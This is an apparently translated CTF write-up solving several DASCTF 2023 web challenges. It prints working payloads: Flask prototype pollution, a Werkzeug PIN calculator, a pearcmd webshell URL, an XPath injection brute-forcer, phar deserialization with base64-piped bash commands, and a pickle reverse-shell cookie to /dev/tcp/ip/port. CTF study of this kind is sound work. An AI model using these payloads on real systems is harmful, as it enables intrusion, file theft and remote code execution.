[DASCTF 2023 & 0X401 July Summer Challenge] Detailed Writeup of some questions in the Web direction

EzFlask

import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
    for i in black_list:
        if i in data:
            return False
    return True

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class user():
    def __init__(self):
        self.username = ""
        self.password = ""
        pass
    def check(self, data):
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False

Users = []

@app.route('/register',methods=['POST'])
def register():
    if request.data:
        try:
            if not check(request.data):
                return "Register Failed"
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Register Failed"
            User = user()
            merge(data, User)
            Users.append(User)
        except Exception:
            return "Register Failed"
        return "Register Success"
    else:
        return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Login Failed"
            for user in Users:
                if user.check(data):
                    session["username"] = data["username"]
                    return "Login Success"
        except Exception:
            return "Login Failed"
    return "Login Failed"

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010)

Code explanation:

  1. Import the required modules:
  • uuid: Used to generate random keys for Flask applications.
  • Flask, requestand sessionfrom the flaskpackage: These modules are used to create web applications, handle HTTP requests, and manage user sessions.
  • secretIn black_list: Assumed black_listto contain a list of sensitive words.
  1. Set up the Flask application and key:
  • Create a Flask application object and set it with a randomly generated key that is used to secure the session data.
  1. Define some helper functions:
  • check(data): Used to check whether the incoming data is included in black_listthe sensitive word list.
  • merge(src, dst): Used to merge two dictionary objects and srcmerge the contents of the dictionary into dstthe dictionary.
  1. Define a userclass:
  • This class contains usernamethe and passwordproperties and has a checkmethod that checks whether the data entered by the user matches the username and password of the current instance.
  1. Create an empty Userslist to store registered user information.
  2. Three routes are defined:
  • /register: Handle POST requests for user registration.
  • /login: Handle POST requests for user login.
  • /: Processes GET requests and is used to display the contents of the current code file.
  1. /registerRouting processing function:
  • Get the data from the POST request and check if it is included in the sensitive word list. If there are sensitive words, the registration will fail.
  • Convert the received data to JSON format, and ensure that the data contains the usernameand passwordfields, otherwise the registration fails.
  • Create a new userobject and merge the data from the request into it.
  • Add the user object to Usersthe list to complete the registration.
  1. /loginRouting processing function:
  • Get the data from the POST request and make sure the data contains the usernameand passwordfields.
  • Iterate over Usersthe user objects in the list, using user.check(data)methods to check if the data entered by the user matches the username and password of any registered user.
  • If the match is successful, it will usernamebe stored in the session ( session) and "Login Success" will be returned, indicating that the login is successful.
  1. /Routing processing function:
  • Process the GET request and return the contents of the current code file to the requester.

Learn this question nowPython原型链污染

For details, please see Article_kelp master: Python prototype chain pollution variant (prototype-pollution-in-python)

There are two unexpected solutions

The first is to read environment variables directly through the file attribute.

__file__ is the pathname of the file from which the module was loaded (if it was loaded from a file). __file__ This attribute does not exist for C modules statically linked to the interpreter. For extension modules dynamically loaded from a shared library, it is the pathname of the shared library file.

In your case the module is accessing its own properties in the __file__ global namespace.

Because __init__it is banned, you can use global variables to directly use them fileas files that store environment variables.

payload:

{
    
    
	"username":"aaa",
	"password":"bbb",
	"__class__":{
    
    
        "check":{
    
    
            "__globals__":{
    
    
                "__file__" : "/proc/1/environ"
            }
        }
	}
}

image-20230726152939436

As can be seen from /the route, the route __file__reads the file directly through the attributes and outputs it, so direct access is enough.

image-20230726153327774

The second type,static静态目录污染

_static_url_path

This attribute stores flaskthe value of the static directory. The default value is static. flaskThe resources under access can be used such as http://domain/static/xxx, which is actually equivalent to accessing the file _static_url_pathin the directory and returning the content of the file as the response contentxxx

So we can directly construct the payload for pollution. The questions are filtered out __init__, but checkafter experiencing it once json.loadsand json recognition unicode, we can pass Unicode编码进行绕过the payload:

{
    
    
    "__init\u005f_":{
    
    
        "__globals__":{
    
    
            "app":{
    
    
                "_static_folder":"/"
            }
        }
    },
	"username":1,
	"password":1
}

The payload comes from the Boogipop master: DASCTF 2023 & 0X401 Web WriteUp

The value after construction _static_folderbecomes the root directory.

image-20230726144104289

Then you can read the environment variable to get the flag

image-20230726144536589

Expected solution:

The question is to turn on the debug mode of flask, access the console, then read it with any file 计算PIN码, and finally perform RCE.

Use script to calculate PIN code

Six elements for PIN generation

  • /etc/passwordusername: can be read and guessed under any file reading
  • modname: default isflask.app
  • appname: default isFlask
  • app.pyModdir is under the flask library 绝对路径and can be obtained by reporting an error. For example, when passing parameters, a variable that does not exist is given.
  • decimal of uuidnode mac address: arbitrary file reading/sys/class/net/the0/address
  • machine_id: machine code

About machine_id

If you can read any file, try to read it/usr/local/lib/python3.7/site-packages/werkzeug/debug/__init__.py

The above python version can be obtained by reporting an error, and find the get_machine-id method inside

image-20230726163821678

You can know /etc/machine-idand /proc/sys/kernel/random/boot_idbreak as soon as one of them is read.

Then continue to splice the values ​​matched by /proc/self/cgroupthe upper and lower regular expressions

So we can know that machine_id is a concatenation of two values.

When we use the script, we need to obtain these six values ​​​​to correctly calculate the PIN code.

Returning to this question, obtain it first usernameand use the prototype chain to pollute it, so __file__that/etc/passwd

image-20230726164156494

Then access /the route and usernamegetroot

image-20230726164225397

modnameand appnameare both defaults. app.pyThe absolute path obtained next can be tainted to make /the route point to a non-existent interface, and then you can enter the error reporting interface.

image-20230726165615710

Then access it through the url to enter the error reporting interface, and then get the absolute path./usr/local/lib/python3.10/site-packages/flask/app.py

image-20230726165737035

Next uuidnode, find it and read it through any file./sys/class/net/eth0/address

image-20230726170130155

But this is hexadecimal, we need to convert it to decimal

image-20230726170359635

Get uuidnode: 173855817367817, and finally get it machine_idto calculate the pin code.

As said, the machine code is composed of two parts. One part is the sum of one of them, /etc/machine-idand the other part is the value under the path./proc/sys/kernel/random/boot_id/proc/self/cgroup

Read one by one, what is read here is /etc/machine-idand/proc/self/cgroup

image-20230726170832947

image-20230726170857198

The first half has been obtained 96cec10d3d9307792745ec3b85c89620. Now let’s get the second half and read it from any file./proc/self/cgroup

image-20230726171111437

image-20230726171127307

This way you get the second half,docker-b2878fa684ca3b35c5413ad77ecfb00b2f602e790779fc06da2e2e9a780f8a26.scope

To sum up, the six conditions are

  • username:root
  • modname:flask.app
  • appname:Flask
  • moddir:/usr/local/lib/python3.10/site-packages/flask/app.py
  • uuidnode:173855817367817
  • machine_id:96cec10d3d9307792745ec3b85c89620docker-b2878fa684ca3b35c5413ad77ecfb00b2f602e790779fc06da2e2e9a780f8a26.scope

The following is a script to calculate the PIN code

import hashlib
from itertools import chain
probably_public_bits = [
    'root', 		#username
    'flask.app',	#modname
    'Flask',		#appname
    '/usr/local/lib/python3.10/site-packages/flask/app.py' 	#moddir
]

private_bits = [
    '173855817367817', #uuidnode
    '96cec10d3d9307792745ec3b85c89620docker-b2878fa684ca3b35c5413ad77ecfb00b2f602e790779fc06da2e2e9a780f8a26.scope'# machine_id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{
      
      h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{
      
      int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

Run and get the result678-582-683

[External link image transfer failed. The source site may have an anti-leeching mechanism. It is recommended to save the image and upload it directly (img-Hcs9y0kN-1691317008893) (C:\Users\admin\AppData\Roaming\Typora\typora-user-images\ image-20230726172309573.png)]

Then access consolethe route and enter the debug that comes with flask.

image-20230726172627697

Enter the PIN we calculated into the console and perform RCE

image-20230726173233568

ez_cms

This question tortured me for the entire competition and I couldn’t stand it at all.

What is examined is pearcmd.phplocal file inclusion, which NSSRound #8is the same as MyPage.

[NSSCTF Round #8]——web special competition wp

/adminThe routing exists in the background, and weak passwords can be used to log in, account number admin, and password.123456

image-20230725192615856

We need to pearcmd.phpcall the file and then use the pear command

Construct payload:

http://5d85cd1d-f879-4082-a4bf-1bfae8aec2e4.node4.buuoj.cn/admin/index.php?+config-create+/&r=../../../../../../../../../../usr/share/php/pearcmd&/<?=eval($_POST[cmd]);?>+../../../../../../../../tmp/shell.php

image-20230725194559615

Then use the created one 1.phpto perform RCE, you can use Ant Sword to connect, URL

http://5d85cd1d-f879-4082-a4bf-1bfae8aec2e4.node4.buuoj.cn/admin/index.php?r=?r=../../../../../../../../tmp/1

image-20230725194723999

The flag is in the root directory, or rce

cmd=system("ls /");

image-20230725194932784

get flag

cmd=system("cat /f*");

image-20230725195128438

This Word still exists SQL注入, XSS, 任意文件下载. If you know the flag file name, you can download the flag directly.

MyPicDisk

Dirsearch found nothing, and burp captured packets and couldn't get any information.

image-20230727173301737

There is a login interface, try the universal password, but the username needs to beadmin

image-20230727173546156

It's a bit strange. Although I can log in, I don't quite understand it.

image-20230727181159246

But you can see from the above request header that xmldata packets can be sent, so you can choose to proceed XXE盲注and get the password.

Run the script here to get the password.

import requests
import time
url ='http://bc385a83-ddb5-4347-920d-19c0e0e4fac0.node4.buuoj.cn:81/index.php'


strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'


flag =''
for i in range(1,100):
    for j in strs:

        #猜测根节点名称
        # payload_1 = {"username":"<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password>".format(i,j),"password":123}
        #猜测子节点名称
        # payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测accounts的节点
        # payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测user节点
        # payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #跑用户名和密码
        # payload_username ="<username>'or substring(/accounts/user[1]/username/text(), {}, 1)='{}'  or ''='".format(i,j)
        payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}'  or ''='".format(i,j)
        data={
    
    
            "username":payload_username,
            "password":123,
            "submit":"1"
        }
        #
        # payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])


        #print(payload_username)
        r = requests.post(url=url,data=data)
        time.sleep(0.1)
        # print(r.text)
#003d7628772d6b57fec5f30ccbc82be1

        if "登录成功" in r.text:
            flag+=j
            print(flag)
            break

    if "登录失败" in r.text:
        break

print(flag)

Get the password: 003d7628772d6b57fec5f30ccbc82be1, then decrypt it with md5 to get the password 15035371139, the account number is admin, and then log in

After logging in, the interface is as follows

image-20230728151728992

You can see that there are hints, , and the source code /y0u_cant_find_1t.zipobtained after decompression./index.php

<?php
session_start();
error_reporting(0);
class FILE{
    
    
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
    
    
        if (preg_match("/\//i", $filename)){
    
    
            throw new Error("hacker!");
        }
        $num = substr_count($filename, ".");
        if ($num != 1){
    
    
            throw new Error("hacker!");
        }
        if (!is_file($filename)){
    
    
            throw new Error("???");
        }
        $this->filename = $filename;
        $this->size = filesize($filename);
        $this->lasttime = filemtime($filename);
    }
    public function remove(){
    
    
        unlink($this->filename);
    }
    public function show()
    {
    
    
        echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";
    }
    public function __destruct(){
    
    
        system("ls -all ".$this->filename);
    }
}
?>
<?php
if (!isset($_SESSION['user'])){
    
    
  echo '
<form method="POST">
    username:<input type="text" name="username"></p>
    password:<input type="password" name="password"></p>
    <input type="submit" value="登录" name="submit"></p>
</form>
';
  $xml = simplexml_load_file('/tmp/secret.xml');
  if($_POST['submit']){
    
    
    $username=$_POST['username'];
    $password=md5($_POST['password']);
    $x_query="/accounts/user[username='{
      
      $username}' and password='{
      
      $password}']";
    $result = $xml->xpath($x_query);
    if(count($result)==0){
    
    
      echo '登录失败';
    }else{
    
    
      $_SESSION['user'] = $username;
        echo "<script>alert('登录成功!');location.href='/index.php';</script>";
    }
  }
}
else{
    
    
    if ($_SESSION['user'] !== 'admin') {
    
    
        echo "<script>alert('you are not admin!!!!!');</script>";
        unset($_SESSION['user']);
        echo "<script>location.href='/index.php';</script>";
    }
  echo "<!-- /y0u_cant_find_1t.zip -->";
  if (!$_GET['file']) {
    
    
    foreach (scandir(".") as $filename) {
    
    
      if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
    
    
        echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
      }
    }
    echo '
  <form action="index.php" method="post" enctype="multipart/form-data">
  选择图片:<input type="file" name="file" id="">
  <input type="submit" value="上传"></form>
  ';
    if ($_FILES['file']) {
    
    
      $filename = $_FILES['file']['name'];
      if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
    
    
        die("hacker!");
      }
      if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
    
    
          echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
      } else {
    
    
        die('failed');
      }
    }
  }
  else{
    
    
      $filename = $_GET['file'];
      if ($_GET['todo'] === "md5"){
    
    
          echo md5_file($filename);
      }
      else {
    
    
          $file = new FILE($filename);
          if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
    
    
              echo "<img src='../" . $filename . "'><br>";
              echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
              echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
          } else if ($_GET['todo'] === "remove") {
    
    
              $file->remove();
              echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
          } else if ($_GET['todo'] === "show") {
    
    
              $file->show();
          }
      }
  }
}
?>

Code explanation:

  1. First, the code opens the Session and sets the error reporting level to 0 (that is, no error information is displayed).
  2. FILENext, a class named is defined for processing related operations on image files. This class has the following member properties and methods:
  • Attributes:
    • filename: Store the image file name.
    • lasttime: Stores the last modification time of the image file.
    • size: The size of the stored image file.
  • method:
    • __construct(): Constructor, used to initialize objects. It performs some security checks, such as checking whether the file name contains slashes ( /), multiple dots ( .), and whether it is a valid file. If the conditions are not met, Erroran exception will be thrown.
    • remove(): Method to delete image files, using unlink()function.
    • show(): Method to display image information, output file name, last modification time and size.
    • __destruct(): Destructor, which will be executed when the object is destroyed. Here, system()the function is used to execute a command ls -alland display the detailed information of the image file.
  1. Then, the code checks whether the user is logged in (judged by Session). If there is no login, the login form is displayed and the user's login information is verified. An XML file is used for information verification secret.xml. If the verification is successful, the user name is stored in the Session and jumps to /index.phpthe page.
  2. If the user is logged in and has an administrator account (user name is "admin"), the function of uploading images and a list of all image files in the current directory are displayed. Users can click on the link of the image file to perform operations, and support "remove" (delete the image) and "show" (display image information). Also supports the "md5" parameter, which is used to display the MD5 hash value of the image file.
  3. The image upload function uses <form>tags and enctype="multipart/form-data"attributes. When the user uploads an image, the code will check whether the file type is jpg, jpeg, gif, png or bmp, and save the image in the current directory.
  4. fileThe code obtains the values ​​of parameters from the GET method todo. These parameters are included in the URL when the user clicks on the image link.
  5. If todothe value is "md5", execute md5_file()the function to calculate the MD5 hash value of the specified file and output it to the page.
  6. Otherwise, todocreate an FILEobject based on the value to handle the image file. The classes here FILEhave been defined before and are used for basic operations on image files.
  7. If todothe value is not "remove" and "show", it means that the user clicked the link to the image file, and the code will output a preview of the image and two links: one for deleting the image (todo=remove), and the other for displaying the image. information(todo=show).
  8. If todothe value is "remove", $file->remove()the method is called to delete the image file, a prompt box pops up through JavaScript, and then redirects to the home page /index.php.
  9. If todothe value is "show", $file->show()the method is called to display the details of the image.

There are three key points in the source code part:

  1. There is a type check on the file name when uploading the file.

  2. There is command splicing in the FILE class that can perform RCE, but there is a blacklist check for the splicing parameters.

  3. When the incoming todo parameter is md5, the md5_file function will be called

    image-20230728164015702

method one:

Use md5_file as the entry point for phar deserialization, and for the blacklist of the filename parameter in FILE, base64 encoding + output stream redirection is used to bypass it.

If you do not log in with a password obtained through XXE blind injection but with a universal password, since the logged in account is not admin, the session will be destroyed every time an operation is performed, so the login package must be re-sent before each operation. , reset session

The script used to generate the phar package is as follows. After generation, change the suffix to jpg and upload it.

<?php
class FILE{
    
    
    public $filename=";echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash -i>4.txt";
    #这里base64编码命令为:cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd
    public $lasttime;
    public $size;
    public function remove(){
    
    
        unlink($this->filename);
    }
    public function show()
    {
    
    
        echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";
    }
}

#获取phar包
$phar = new Phar("abc.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$o = new FILE();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

The function of the file generated by this script is to output the content of the file obtained after executing the command 4.txt, which can be modified as appropriate.

Method Two:

This method does not pass base64, but directly phar反序列化generates an executable command file and then outputs the result to the echo interface.

The script to generate the phar package is as follows

<?php

class FILE{
    
    
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
    
    
        $this->filename = $filename;
    }
}

$a = new FILE("/;ls /");
$phartest=new phar('phartest.phar',0);
$phartest->startBuffering();
$phartest->setMetadata($a);
$phartest->setStub("<?php __HALT_COMPILER();?>");
$phartest->addFromString("test.txt","test");
$phartest->stopBuffering()
?>

Upload the file we generated and use burp to capture the packet so that the file suffix becomes.jpg

image-20230728163015508

Then access it through the phar protocol, payload:

http://3867c331-be50-486e-911f-5384704761cf.node4.buuoj.cn:81/index.php/?file=phar://1.jpg&todo=md5

image-20230728163237845

You can see that the root directory has been successfully scanned. The flag is in adjaskdhnask_flag_is_here_dakjdnmsakjnfksdthe file. Modify the content of the above script to regenerate a phar file. The command cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksdcan read the flag.

image-20230728165025078

image-20230728165046018

Method three:

command tile injection

You only need to perform string collage on the uploaded file name. But due to filenamethe blacklist, we need to base64 encode

The target drone here has been unable to be turned on. I scold BUU every day.

The target machine is ready. Upload the file and capture the packet. Change the file name to;echo bHMgLw==|base64 -d|bash;test.png

image-20230804152205699

Then access the file and you can see the results of successfully scanning the directory are echoed.

image-20230804152244203

Modify the command so that the base command is cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd, payload:

filename=";echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash;test.png"

Get flag after access

image-20230804153333752

this_py

The question directly gave us the source code

The important thing issetting.py

"""
Django settings for openlug project.

Generated by 'django-admin startproject' using Django 2.2.5.

For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/

For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""

import os

# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))


# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/

# SECURITY WARNING: keep the secret key used in production non-secret!
SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'

# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = False

ALLOWED_HOSTS = ["*"]


# Application definition

INSTALLED_APPS = [
    # 'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'app'
]

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    # we're going to be RESTful in the future,
    # to prevent inconvenience, just turn csrf off.
    # 'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
]

ROOT_URLCONF = 'openlug.urls'
# for database performance
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
# use PickleSerializer
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'

TEMPLATES = [
    {
    
    
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [],
        'APP_DIRS': True,
        'OPTIONS': {
    
    
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]

WSGI_APPLICATION = 'openlug.wsgi.application'


# Database
# https://docs.djangoproject.com/en/2.2/ref/settings/#databases

DATABASES = {
    
    
    'default': {
    
    
        'ENGINE': 'django.db.backends.sqlite3',
        'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
    }
}


# Password validation
# https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators

AUTH_PASSWORD_VALIDATORS = [
    {
    
    
        'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
    },
    {
    
    
        'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
    },
    {
    
    
        'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
    },
    {
    
    
        'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
    },
]


# Internationalization
# https://docs.djangoproject.com/en/2.2/topics/i18n/

LANGUAGE_CODE = 'zh-Hans'

TIME_ZONE = 'Asia/Shanghai'

USE_I18N = True

USE_L10N = True

USE_TZ = True


# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.2/howto/static-files/

STATIC_URL = '/static/'

LOGIN_URL = '/'

Code explanation

This code is a settings file (settings.py) for a Django project, which contains various settings for configuring the project, such as database connection, template path, internationalization settings, etc. Below I will explain the meaning of these settings paragraph by paragraph:

  1. Import module: First, the code imports the Python osmodule, which is used to handle file paths and directories.
  2. Basic path setting: BASE_DIR The variable specifies the base directory of the project. It obtains os.path.abspath(__file__)the absolute path of the current file (settings.py), and then os.path.dirnameremoves the file name and the last directory name twice to obtain the root directory of the project.
  3. Key setting: SECRET_KEY The variable is a secret key used to encrypt sensitive information. In a production environment, this key should be kept confidential.
  4. Debug settings: DEBUG Variable determines whether to enable debugging mode. This should be set to in a production environment Falseto ensure security.
  5. Allowed hosts: ALLOWED_HOSTS variable specifies the host names that are allowed to access this Django project. In this example, using ["*"]means allows access from any host. In a real production environment, the allowed hosts should be restricted.
  6. Installed applications: INSTALLED_APPS The list contains Django applications used by the project. In this example, in addition to some default applications, appan application named.
  7. Middleware settings: MIDDLEWARE A list containing middleware that is executed between requests and responses. Middleware is used to process requests and responses and perform some pre-processing or post-processing tasks.
  8. Root URL configuration: ROOT_URLCONF The variable specifies the path to the root URL configuration file. In this example, the root URL profile is openlug.urls.
  9. Session engine settings: SESSION_ENGINE and SESSION_SERIALIZERthe storage engine and serialization methods used to configure the session.
  10. Template Settings: TEMPLATES List defines the configuration of the Django template engine. It specifies the directory where the templates are stored, the backend of the template engine, and the context processor.
  11. WSGI application: WSGI_APPLICATION variable specifies the path to the WSGI application.
  12. Database configuration: DATABASES Dictionary defines the settings for the database connection. In this example, SQLite is used as the default database, and the database file is stored in the root directory of the project.
  13. Password verification settings: AUTH_PASSWORD_VALIDATORS The list defines the rules for verifying user passwords, including similarity, minimum length, common passwords, etc.
  14. Internationalization settings: LANGUAGE_CODE , TIME_ZONE, USE_I18N, USE_L10Nand USE_TZare used to configure internationalization and time zone settings.
  15. Static file settings: STATIC_URL Defines the URL prefix of static files, which is used to access static resources such as CSS and JavaScript.
  16. Login URL setting: LOGIN_URL Specifies the URL that non-logged-in users are redirected to when they try to access a protected page.

Through templatesthe directory, urls.pyyou can see that there are four routes

from django.urls import path

from . import views

urlpatterns = [
    path('', views.index_view, name='index'),
    path('login', views.login_view, name='login'),
    path('auth', views.auth_view, name='auth'),
    path('error', views.error_view, name='error')
]

The code for auth routing is as follows

def auth_view(request, onsuccess='/', onfail='/error'):
    username = request.POST["username"]
    password = request.POST["password"]
    user = authenticate(request, username=username, password=password)
    if user is not None:
        login(request, user)
        return redirect(onsuccess)
    else:
        return redirect(onfail)

The dangerous part of this code is here

ROOT_URLCONF = 'openlug.urls'
# for database performance
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
# use PickleSerializer
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
  1. ROOT_URLCONF = 'openlug.urls': This setting defines the path to the project's root URL configuration file. In Django, the root URL configuration file is responsible for mapping different URL paths to corresponding view functions or other processing logic. In this example, the root URL configuration file is located , which is the file of the application openlug.urlsin the project .openlugurls.py
  2. SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies': This setting specifies the storage engine for Django sessions. Sessions are a mechanism for storing user data between different HTTP requests. Here, the session storage engine is set to signed_cookies, which means that the session data will be encrypted and stored in the browser's cookie.
  3. SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer': This setting defines how session data is serialized. In Django, session data needs to be serialized for storage and transmission. Here, the session data will PickleSerializerbe serialized using , which is a serialization method provided by Django by default, which uses Python's picklemodule to serialize the data into a binary format.

SECRET_KEY and SESSION_SERIALIZER are given as PickleSerializer, which should use the session to perform pickle deserialization. It should perform pickle.loads() on the session during auth authentication.

So here we can see SESSION_SERIALIZERthat yes PICKLE, then we can think of session , and it has also been given pickle反序列化in the source codesecret_key

SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'

We can first construct exp:

import urllib3

SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
salt = "django.contrib.sessions.backends.signed_cookies"

import django.core.signing

import pickle

class PickleSerializer(object):
    """
    Simple wrapper around pickle to be used in signing.dumps and
    signing.loads.
    """
    def dumps(self, obj):
        return pickle.dumps(obj, pickle.HIGHEST_PROTOCOL)

    def loads(self, data):
        return pickle.loads(data)


import subprocess
import base64

class Command(object):
    def __reduce__(self):
        return (subprocess.Popen, (('bash -c "bash -i >& /dev/tcp/ip/port <&1"',),-1,None,None,None,None,None,False, True))

out_cookie= django.core.signing.dumps(
    Command(), key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(out_cookie)

There was no pop-up here at first. It said it was the python version when generating the payload, the pickle package version, etc. The version was changed topython3.5

I have been unable to successfully rebound the shell here. I also modified the python version but it still doesn’t work, so I gave up.

ez_timing

It doesn’t happen again, it’s too difficult, you can read n03tAck teamthe article


Please refer to the articles of masters as follows:

Article_Master kelp: Python prototype chain pollution variant (prototype-pollution-in-python)

This is too strong

Boogipop Master: DASCTF 2023 & 0X401 Web WriteUp

Star Alliance Security Team: DASCTF 2023 & 0X401 July Summer Challenge Writeup

n03tAck team:2023DASCTF&0X401 WriteUp

丨Arcueid丨Master: Summary of flask calculation pin in ctf

Master Calabash 42: DASCTF 2023 & 0X401 July Summer Challenge web reappearance

Guess you like

Origin blog.csdn.net/Leaf_initial/article/details/132133789